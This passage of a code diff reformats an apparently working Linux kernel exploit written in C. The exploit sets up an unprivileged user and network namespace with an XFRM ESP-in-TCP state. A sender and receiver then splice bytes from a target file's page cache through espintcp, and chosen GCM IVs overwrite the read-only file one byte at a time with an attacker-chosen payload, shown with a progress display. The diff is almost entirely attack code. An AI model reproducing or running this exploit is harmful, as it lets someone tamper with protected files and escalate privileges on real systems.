+ if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up");
+ close(fd);
+
+ fprintf(stderr, "loopback_up=1\n");
}
-static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
- unsigned short type, const void *data, size_t len)
-{
- size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
- struct nlattr *nla;
-
- if (off + NLA_HDRLEN + len > maxlen) {
- fprintf(stderr, "netlink message too small\n");
- exit(2);
- }
-
- nla = (struct nlattr *)((char *)nlh + off);
- nla->nla_type = type;
- nla->nla_len = NLA_HDRLEN + len;
- memcpy((char *)nla + NLA_HDRLEN, data, len);
- nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
+static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) {
+ size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
+ struct nlattr *nla;
+
+ if (off + NLA_HDRLEN + len > maxlen) {
+ fprintf(stderr, "netlink message too small\n");
+ exit(2);
+ }
+
+ nla = (struct nlattr *)((char *)nlh + off);
+ nla->nla_type = type;
+ nla->nla_len = NLA_HDRLEN + len;
+ memcpy((char *)nla + NLA_HDRLEN, data, len);
+ nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}
-static int nl_ack_errno(char *buf, ssize_t len)
-{
- struct nlmsghdr *nlh;
- struct nlmsgerr *err;
-
- for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
- nlh = NLMSG_NEXT(nlh, len)) {
- if (nlh->nlmsg_type != NLMSG_ERROR)
- continue;
- err = (struct nlmsgerr *)NLMSG_DATA(nlh);
- if (err->error == 0)
- return 0;
- errno = -err->error;
- return -1;
- }
-
- errno = EPROTO;
- return -1;
+static int nl_ack_errno(char *buf, ssize_t len) {
+ struct nlmsghdr *nlh;
+ struct nlmsgerr *err;
+
+ for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) {
+ if (nlh->nlmsg_type != NLMSG_ERROR) continue;
+ err = (struct nlmsgerr *)NLMSG_DATA(nlh);
+ if (err->error == 0) return 0;
+ errno = -err->error;
+ return -1;
+ }
+
+ errno = EPROTO;
+ return -1;
}
-static void add_xfrm_espintcp_state(void)
-{
- char reqbuf[4096], resp[4096];
- char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
- struct sockaddr_nl sa = {
- .nl_family = AF_NETLINK,
- };
- struct xfrm_usersa_info *xs;
- struct xfrm_algo_aead *aead;
- struct xfrm_encap_tmpl encap;
- struct nlmsghdr *nlh;
- ssize_t ret;
- int fd;
-
- memset(reqbuf, 0, sizeof(reqbuf));
- nlh = (struct nlmsghdr *)reqbuf;
- nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
- nlh->nlmsg_type = XFRM_MSG_NEWSA;
- nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
- nlh->nlmsg_seq = 1;
-
- xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
- if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
- die("inet_pton saddr");
- if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
- die("inet_pton daddr");
- xs->id.spi = htonl(0x100);
- xs->id.proto = IPPROTO_ESP;
- xs->family = AF_INET6;
- xs->mode = XFRM_MODE_TRANSPORT;
- xs->reqid = 1;
- xs->lft.soft_byte_limit = XFRM_INF;
- xs->lft.hard_byte_limit = XFRM_INF;
- xs->lft.soft_packet_limit = XFRM_INF;
- xs->lft.hard_packet_limit = XFRM_INF;
-
- memset(aeadbuf, 0, sizeof(aeadbuf));
- aead = (struct xfrm_algo_aead *)aeadbuf;
- snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
- aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
- aead->alg_icv_len = 128;
- memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
- add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));
-
- memset(&encap, 0, sizeof(encap));
- encap.encap_type = TCP_ENCAP_ESPINTCP;
- encap.encap_sport = htons(TCP_PORT);
- encap.encap_dport = htons(TCP_PORT);
- add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));
-
- fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
- if (fd < 0)
- gate_fail("socket(NETLINK_XFRM)");
- if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
- gate_fail("bind(NETLINK_XFRM)");
-
- memset(&sa, 0, sizeof(sa));
- sa.nl_family = AF_NETLINK;
- ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
- sizeof(sa));
- if (ret < 0)
- gate_fail("sendto XFRM_MSG_NEWSA");
- if (ret != (ssize_t)nlh->nlmsg_len) {
- errno = EIO;
- gate_fail("short sendto XFRM_MSG_NEWSA");
- }
-
- ret = recv(fd, resp, sizeof(resp), 0);
- if (ret < 0)
- gate_fail("recv XFRM ack");
- if (nl_ack_errno(resp, ret) < 0)
- gate_fail("XFRM_MSG_NEWSA ack");
- close(fd);
-
- printf("xfrm_espintcp_state_add=1\n");
+static void add_xfrm_espintcp_state(void) {
+ char reqbuf[4096], resp[4096];
+ char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
+ struct sockaddr_nl sa = {
+ .nl_family = AF_NETLINK,
+ };
+ struct xfrm_usersa_info *xs;
+ struct xfrm_algo_aead *aead;
+ struct xfrm_encap_tmpl encap;
+ struct nlmsghdr *nlh;
+ ssize_t ret;
+ int fd;
+
+ memset(reqbuf, 0, sizeof(reqbuf));
+ nlh = (struct nlmsghdr *)reqbuf;
+ nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
+ nlh->nlmsg_type = XFRM_MSG_NEWSA;
+ nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
+ nlh->nlmsg_seq = 1;
+
+ xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
+ if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr");
+ if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr");
+ xs->id.spi = htonl(0x100);
+ xs->id.proto = IPPROTO_ESP;
+ xs->family = AF_INET6;
+ xs->mode = XFRM_MODE_TRANSPORT;
+ xs->reqid = 1;
+ xs->lft.soft_byte_limit = XFRM_INF;
+ xs->lft.hard_byte_limit = XFRM_INF;
+ xs->lft.soft_packet_limit = XFRM_INF;
+ xs->lft.hard_packet_limit = XFRM_INF;
+
+ memset(aeadbuf, 0, sizeof(aeadbuf));
+ aead = (struct xfrm_algo_aead *)aeadbuf;
+ snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
+ aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
+ aead->alg_icv_len = 128;
+ memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
+ add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));
+
+ memset(&encap, 0, sizeof(encap));
+ encap.encap_type = TCP_ENCAP_ESPINTCP;
+ encap.encap_sport = htons(TCP_PORT);
+ encap.encap_dport = htons(TCP_PORT);
+ add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));
+
+ fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
+ if (fd < 0) gate_fail("socket(NETLINK_XFRM)");
+ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)");
+
+ memset(&sa, 0, sizeof(sa));
+ sa.nl_family = AF_NETLINK;
+ ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
+ if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA");
+ if (ret != (ssize_t)nlh->nlmsg_len) {
+ errno = EIO;
+ gate_fail("short sendto XFRM_MSG_NEWSA");
+ }
+
+ ret = recv(fd, resp, sizeof(resp), 0);
+ if (ret < 0) gate_fail("recv XFRM ack");
+ if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack");
+ close(fd);
+
+ fprintf(stderr, "xfrm_espintcp_state_add=1\n");
}
-static void setup_user_netns_xfrm(void)
-{
- if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
- die("prctl PR_SET_DUMPABLE");
- enter_mapped_userns();
+static void setup_user_netns_xfrm(void) {
+ if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE");
+ enter_mapped_userns();
- if (unshare(CLONE_NEWNET) < 0)
- gate_fail("unshare(CLONE_NEWNET)");
+ if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)");
- printf("netns_setup=1\n");
- bring_loopback_up();
- add_xfrm_espintcp_state();
- printf("namespace_setup_complete=1\n");
+ fprintf(stderr, "netns_setup=1\n");
+ bring_loopback_up();
+ add_xfrm_espintcp_state();
+ fprintf(stderr, "namespace_setup_complete=1\n");
}
-static void write_ready(int fd)
-{
- char c = 'R';
+static void write_ready(int fd) {
+ char c = 'R';
- if (write(fd, &c, 1) != 1)
- die("ready write");
- close(fd);
+ if (write(fd, &c, 1) != 1) die("ready write");
+ close(fd);
}
-static void wait_ready(int fd)
-{
- char c;
+static void wait_ready(int fd) {
+ char c;
- if (read(fd, &c, 1) != 1)
- die("ready read");
- close(fd);
+ if (read(fd, &c, 1) != 1) die("ready read");
+ close(fd);
}
-static void receiver(int ready_write_fd)
-{
- struct sockaddr_in6 addr = {
- .sin6_family = AF_INET6,
- .sin6_addr = IN6ADDR_LOOPBACK_INIT,
- .sin6_port = htons(TCP_PORT),
- .sin6_flowinfo = 0,
- .sin6_scope_id = 0,
- };
- char ulp[] = "espintcp";
- int fd, cfd, one = 1;
-
- fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
- if (fd < 0)
- die("receiver socket");
- if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
- die("receiver reuseaddr");
- if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
- die("receiver bind");
- if (listen(fd, 1) < 0)
- die("receiver listen");
-
- write_ready(ready_write_fd);
-
- cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
- if (cfd < 0)
- die("receiver accept");
-
- usleep(RECEIVER_PRE_ULP_US);
- if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
- die("receiver TCP_ULP espintcp");
-
- printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
- getuid(), geteuid());
- usleep(RECEIVER_POST_ULP_US);
- close(cfd);
- close(fd);
- _exit(0);
+static void receiver(int ready_write_fd) {
+ struct sockaddr_in6 addr = {
+ .sin6_family = AF_INET6,
+ .sin6_addr = IN6ADDR_LOOPBACK_INIT,
+ .sin6_port = htons(TCP_PORT),
+ .sin6_flowinfo = 0,
+ .sin6_scope_id = 0,
+ };
+ char ulp[] = "espintcp";
+ int fd, cfd, one = 1;
+
+ fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
+ if (fd < 0) die("receiver socket");
+ if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr");
+ if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind");
+ if (listen(fd, 1) < 0) die("receiver listen");
+
+ write_ready(ready_write_fd);
+
+ cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
+ if (cfd < 0) die("receiver accept");
+
+ usleep(RECEIVER_PRE_ULP_US);
+ if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp");
+
+ fprintf(stderr, "receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid());
+ usleep(RECEIVER_POST_ULP_US);
+ close(cfd);
+ close(fd);
+ _exit(0);
}
-static void sender(int ready_read_fd)
-{
- struct sockaddr_in6 dst = {
- .sin6_family = AF_INET6,
- .sin6_addr = IN6ADDR_LOOPBACK_INIT,
- .sin6_port = htons(TCP_PORT),
- .sin6_flowinfo = 0,
- .sin6_scope_id = 0,
- };
- struct {
- __be16 len;
- unsigned char esp[16];
- } prefix;
- loff_t off, start_off;
- int fd, sock, p[2], one = 1;
- ssize_t ret, sent;
-
- wait_ready(ready_read_fd);
-
- memset(&prefix, 0xcc, sizeof(prefix));
- prefix.len = htons(sizeof(prefix) + FRAG_LEN);
- prefix.esp[0] = 0x00;
- prefix.esp[1] = 0x00;
- prefix.esp[2] = 0x01;
- prefix.esp[3] = 0x00;
- store_be32(&prefix.esp[4], active_esp_seq);
- memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
-
- fd = open(target_file, O_RDONLY | O_CLOEXEC);
- if (fd < 0)
- die("sender open target");
- sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
- if (sock < 0)
- die("sender socket");
- if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
- die("sender TCP_NODELAY");
- if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
- die("sender connect");
-
- sent = send(sock, &prefix, sizeof(prefix), 0);
- if (sent != (ssize_t)sizeof(prefix))
- die("sender send prefix");
-
- usleep(SENDER_PRE_SPLICE_US);
-
- if (pipe(p) < 0)
- die("sender pipe");
- off = target_splice_off;
- start_off = off;
- ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
- if (ret != FRAG_LEN)
- die("sender splice file to pipe");
-
- ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
- if (ret < 0)
- die("sender splice pipe to tcp");
-
- printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
- getuid(), geteuid(), sent, ret, (long long)start_off,
- (long long)off);
-
- close(p[0]);
- close(p[1]);
- close(sock);
- close(fd);
- _exit(ret == FRAG_LEN ? 0 : 3);
+static void sender(int ready_read_fd) {
+ struct sockaddr_in6 dst = {
+ .sin6_family = AF_INET6,
+ .sin6_addr = IN6ADDR_LOOPBACK_INIT,
+ .sin6_port = htons(TCP_PORT),
+ .sin6_flowinfo = 0,
+ .sin6_scope_id = 0,
+ };
+ struct {
+ __be16 len;
+ unsigned char esp[16];
+ } prefix;
+ loff_t off, start_off;
+ int fd, sock, p[2], one = 1;
+ ssize_t ret, sent;
+
+ wait_ready(ready_read_fd);
+
+ memset(&prefix, 0xcc, sizeof(prefix));
+ prefix.len = htons(sizeof(prefix) + FRAG_LEN);
+ prefix.esp[0] = 0x00;
+ prefix.esp[1] = 0x00;
+ prefix.esp[2] = 0x01;
+ prefix.esp[3] = 0x00;
+ store_be32(&prefix.esp[4], active_esp_seq);
+ memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
+
+ fd = open(target_file, O_RDONLY | O_CLOEXEC);
+ if (fd < 0) die("sender open target");
+ sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
+ if (sock < 0) die("sender socket");
+ if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY");
+ if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect");
+
+ sent = send(sock, &prefix, sizeof(prefix), 0);
+ if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix");
+
+ usleep(SENDER_PRE_SPLICE_US);
+
+ if (pipe(p) < 0) die("sender pipe");
+ off = target_splice_off;
+ start_off = off;
+ ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
+ if (ret != FRAG_LEN) die("sender splice file to pipe");
+
+ ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
+ if (ret < 0) die("sender splice pipe to tcp");
+
+ fprintf(stderr, "sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
+ getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off);
+
+ close(p[0]);
+ close(p[1]);
+ close(sock);
+ close(fd);
+ _exit(ret == FRAG_LEN ? 0 : 3);
}
-static int run_trigger_pair(void)
-{
- int pipefd[2], st_rx, st_tx;
- pid_t rx, tx;
-
- if (pipe(pipefd) < 0)
- die("pipe");
-
- rx = fork();
- if (rx < 0)
- die("fork receiver");
- if (rx == 0) {
- close(pipefd[0]);
- receiver(pipefd[1]);
- }
-
- tx = fork();
- if (tx < 0)
- die("fork sender");
- if (tx == 0) {
- close(pipefd[1]);
- sender(pipefd[0]);
- }
-
- close(pipefd[0]);
- close(pipefd[1]);
- if (waitpid(tx, &st_tx, 0) < 0)
- die("wait sender");
- if (waitpid(rx, &st_rx, 0) < 0)
- die("wait receiver");
-
- printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
- if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
- !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
- return -1;
- return 0;
+static int run_trigger_pair(void) {
+ int pipefd[2], st_rx, st_tx;
+ pid_t rx, tx;
+
+ if (pipe(pipefd) < 0) die("pipe");
+
+ rx = fork();
+ if (rx < 0) die("fork receiver");
+ if (rx == 0) {
+ close(pipefd[0]);
+ receiver(pipefd[1]);
+ }
+
+ tx = fork();
+ if (tx < 0) die("fork sender");
+ if (tx == 0) {
+ close(pipefd[1]);
+ sender(pipefd[0]);
+ }
+
+ close(pipefd[0]);
+ close(pipefd[1]);
+ if (waitpid(tx, &st_tx, 0) < 0) die("wait sender");
+ if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver");
+
+ fprintf(stderr, "sender_status=%d receiver_status=%d\n", st_tx, st_rx);
+ if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1;
+ return 0;
}
-static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
-{
- uint64_t n = (uint64_t)byte_len;
-
- if (n == 0) {
- fprintf(stderr, "byte range is empty\n");
- exit(2);
- }
- if (n - 1 > UINT64_MAX - byte_off) {
- fprintf(stderr, "byte range overflows uint64_t\n");
- exit(2);
- }
- return byte_off + n - 1;
+static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) {
+ uint64_t n = (uint64_t)byte_len;
+
+ if (n == 0) {
+ fprintf(stderr, "byte range is empty\n");
+ exit(2);
+ }
+ if (n - 1 > UINT64_MAX - byte_off) {
+ fprintf(stderr, "byte range overflows uint64_t\n");
+ exit(2);
+ }
+ return byte_off + n - 1;
}
-static void draw_smash_frame(const unsigned char *desired, size_t desired_len,
- const unsigned char *live, size_t idx_current,
- size_t changed, size_t skipped, int first_draw)
-{
- size_t done = changed + skipped;
- size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
- size_t row, col, bi, i;
-
- /* Save cursor, jump to row 1, buffer the whole frame into one write. */
- static char frame_buf[8192];
- setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
- if (!first_draw)
- printf("\033[s\033[?25l\033[1;1H");
-
- /* ── header ─────────────────────────────────────────────────── */
- printf("\r\033[2K" C_BCYN "[*]" C_RESET
- " smashing %zu bytes into read-only page cache"
- " changed=" C_BGRN "%zu" C_RESET
- " skipped=" C_DIM "%zu" C_RESET
- " remaining=" C_BYLW "%zu" C_RESET "\n",
- desired_len, changed, skipped,
- done < desired_len ? desired_len - done : (size_t)0);
-
- /* ── hex dump ────────────────────────────────────────────────── */
- for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
- /* col-0 highlight borrows the header's last trailing space */
- int col0_hi = (idx_current < desired_len &&
- row * 16 == idx_current);
- printf("\r\033[2K" C_DIM " %04zx%s" C_RESET,
- row * 16, col0_hi ? " " : " ");
-
- for (col = 0; col < 16; col++) {
- bi = row * 16 + col;
- int cur = (idx_current < desired_len && bi == idx_current);
-
- if (col == 8) {
- /* mid-gap space becomes '[' when col 8 is current */
- printf(cur ? "[" : " ");
- if (cur) {
- printf(C_BYLW "%02x]" C_RESET, live[bi]);
- continue;
- }
- }
-
- if (bi >= desired_len) { printf(" "); continue; }
-
- if (bi < idx_current) {
- printf(live[bi] == desired[bi]
- ? C_BGRN "%02x " C_RESET
- : C_BRED "%02x " C_RESET, live[bi]);
- } else if (cur) {
- /* col 0: '[' was the header's borrowed space
- * col 1-7, 9-15: '\b' eats the preceding byte's space */
- printf(col == 0
- ? C_BYLW "[%02x]" C_RESET
- : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
- } else {
- printf(C_DIM "%02x " C_RESET, desired[bi]);
- }
- }
- printf("\n");
- }
-
- /* ── progress bar ────────────────────────────────────────────── */
- printf("\r\033[2K [" C_BGRN);
- for (i = 0; i < filled; i++) printf("=");
- printf(C_RESET C_DIM);
- for (i = filled; i < FRAME_BAR_W; i++) printf("-");
- printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n",
- done, desired_len,
- desired_len ? done * 100 / desired_len : (size_t)100);
-
- /* ── separator ───────────────────────────────────────────────── */
- printf("\r\033[2K" C_DIM
- "────────────────────────────────────────────────────────────"
- C_RESET "\n");
-
- fflush(stdout);
- setvbuf(stdout, NULL, _IONBF, 0);
- if (!first_draw)
- printf("\033[?25h\033[u"); /* restore cursor to log area */
+static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live,
+ size_t idx_current, size_t changed, size_t skipped, int first_draw) {
+ size_t done = changed + skipped;
+ size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
+ size_t row, col, bi, i;
+
+ /* Save cursor, jump to row 1, buffer the whole frame into one write. */
+ static char frame_buf[8192];
+ setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
+ if (!first_draw) fprintf(stderr, "\033[s\033[?25l\033[1;1H");
+
+ /* ── header ─────────────────────────────────────────────────── */
+ fprintf(stderr,
+ "\r\033[2K" C_BCYN "[*]" C_RESET
+ " smashing %zu bytes into read-only page cache"
+ " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n",
+ desired_len, changed, skipped, done < desired_len ? desired_len - done : (size_t)0);
+
+ /* ── hex dump ────────────────────────────────────────────────── */
+ for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
+ /* col-0 highlight borrows the header's last trailing space */
+ int col0_hi = (idx_current < desired_len && row * 16 == idx_current);
+ fprintf(stderr, "\r\033[2K" C_DIM " %04zx%s" C_RESET, row * 16, col0_hi ? " " : " ");
+
+ for (col = 0; col < 16; col++) {
+ bi = row * 16 + col;
+ int cur = (idx_current < desired_len && bi == idx_current);
+
+ if (col == 8) {
+ /* mid-gap space becomes '[' when col 8 is current */
+ fprintf(stderr, cur ? "[" : " ");
+ if (cur) {
+ fprintf(stderr, C_BYLW "%02x]" C_RESET, live[bi]);
+ continue;
+ }
+ }
+
+ if (bi >= desired_len) {
+ fprintf(stderr, " ");
+ continue;
+ }
+
+ if (bi < idx_current) {
+ fprintf(stderr, live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]);
+ } else if (cur) {
+ /* col 0: '[' was the header's borrowed space
+ * col 1-7, 9-15: '\b' eats the preceding byte's space */
+ fprintf(stderr, col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
+ } else {
+ fprintf(stderr, C_DIM "%02x " C_RESET, desired[bi]);
+ }
+ }
+ fprintf(stderr, "\n");
+ }
+
+ /* ── progress bar ────────────────────────────────────────────── */
+ fprintf(stderr, "\r\033[2K [" C_BGRN);
+ for (i = 0; i < filled; i++) fprintf(stderr, "=");
+ fprintf(stderr, C_RESET C_DIM);
+ for (i = filled; i < FRAME_BAR_W; i++) fprintf(stderr, "-");
+ fprintf(stderr, C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len,
+ desired_len ? done * 100 / desired_len : (size_t)100);
+
+ /* ── separator ───────────────────────────────────────────────── */
+ fprintf(stderr, "\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n");
+
+ fflush(stdout);
+ setvbuf(stdout, NULL, _IONBF, 0);
+ if (!first_draw) fprintf(stderr, "\033[?25h\033[u"); /* restore cursor to log area */
}
-static int replace_existing_bytes_after(uint64_t byte_off,
- const unsigned char *desired,
- size_t desired_len,
- uint64_t file_size)
-{
- uint64_t last = checked_byte_range_last(byte_off, desired_len);
- size_t idx, changed = 0, skipped = 0;
- unsigned char live_state[PAYLOAD_LEN];
- int fd_init;
-
- if (last >= file_size) {
- fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
- (unsigned long long)byte_off, desired_len,
- (unsigned long long)file_size);
- return 2;
- }
- if (last > file_size - FRAG_LEN) {
- fprintf(stderr,
- "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
- FRAG_LEN, (unsigned long long)byte_off, desired_len,
- (unsigned long long)file_size);
- return 2;
- }
-
- printf(C_BCYN "\n[*]" C_RESET
- " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
- RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
- printf(C_BCYN "[*]" C_RESET
- " range: offset=0x%llx len=%zu last=0x%llx"
- " enc_len=%d splice_len=%d\n",
- (unsigned long long)byte_off, desired_len,
- (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
- printf(C_BCYN "[*]" C_RESET
- " union: transformed=0x%llx-0x%llx"
- " collateral_after=0x%llx-0x%llx\n",
- (unsigned long long)byte_off,
- (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
- (unsigned long long)(last + 1),
- (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
- printf(C_BCYN "[*]" C_RESET " ");
- print_hex_bytes("payload", desired, desired_len);
- printf("\n");
-
- build_stream0_table();
- printf("\n");
-
- /* seed live_state from the file so the hex dump has real values */
- fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
- if (fd_init < 0) die("open live_state init");
- if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
- die("pread live_state init");
- close(fd_init);
-
- /* clear screen so the frame starts at a known row 1 */
- printf("\033[2J\033[H");
- draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);
-
- /* pin the frame to rows 1-FRAME_LINES; scroll region below */
- {
- struct winsize ws;
- int tr = 40;
- if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
- tr = (int)ws.ws_row;
- printf("\033[%d;%dr", FRAME_LINES + 1, tr);
- printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */
- fflush(stdout);
- }
-
- for (idx = 0; idx < desired_len; idx++) {
- uint64_t off = byte_off + idx;
- unsigned char current, final, need_stream;
-
- live_state[idx] = read_byte_at(target_file, off);
- current = live_state[idx];
-
- draw_smash_frame(desired, desired_len, live_state, idx,
- changed, skipped, 0);
-
- if (current == desired[idx]) {
- printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
- idx + 1, desired_len, (unsigned long long)off, current);
- skipped++;
- continue;
- }
-
- target_splice_off = (loff_t)off;
- need_stream = current ^ desired[idx];
- choose_iv_for_stream0(need_stream);
- active_esp_seq++;
-
- printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
- " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
- " xor=" C_CYAN "%02x" C_RESET
- " seq=" C_DIM "%u" C_RESET
- " nonce=" C_DIM "%u" C_RESET "\n",
- idx + 1, desired_len, (unsigned long long)off,
- current, desired[idx], need_stream,
- active_esp_seq, stream0_nonce[need_stream]);
-
-/*
- printf(C_BCYN "[*]" C_RESET " before:\n");
- print_hex_row(target_file, off, "orig", current, "want", desired[idx]);
-
- printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN);
- {
- size_t k;
- for (k = 0; k < sizeof(active_esp_gcm_iv); k++)
- printf("%02x", active_esp_gcm_iv[k]);
- }
-*/
- printf(C_RESET " firing espintcp splice...\n");
-
- if (run_trigger_pair() < 0) {
- fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
- return 2;
- }
-
- final = read_byte_at(target_file, off);
- live_state[idx] = final;
-
-/*
- printf(C_BCYN "[*]" C_RESET " after:\n");
- print_hex_row(target_file, off, "was", current, "now", final);
-*/
- if (final == desired[idx]) {
- printf(C_BGRN "[+]" C_RESET " smashed"
- C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET,
- current, final, idx, (unsigned long long)off);
- changed++;
- continue;
- }
- if (final == current) {
- printf(C_BGRN "[-]" C_RESET
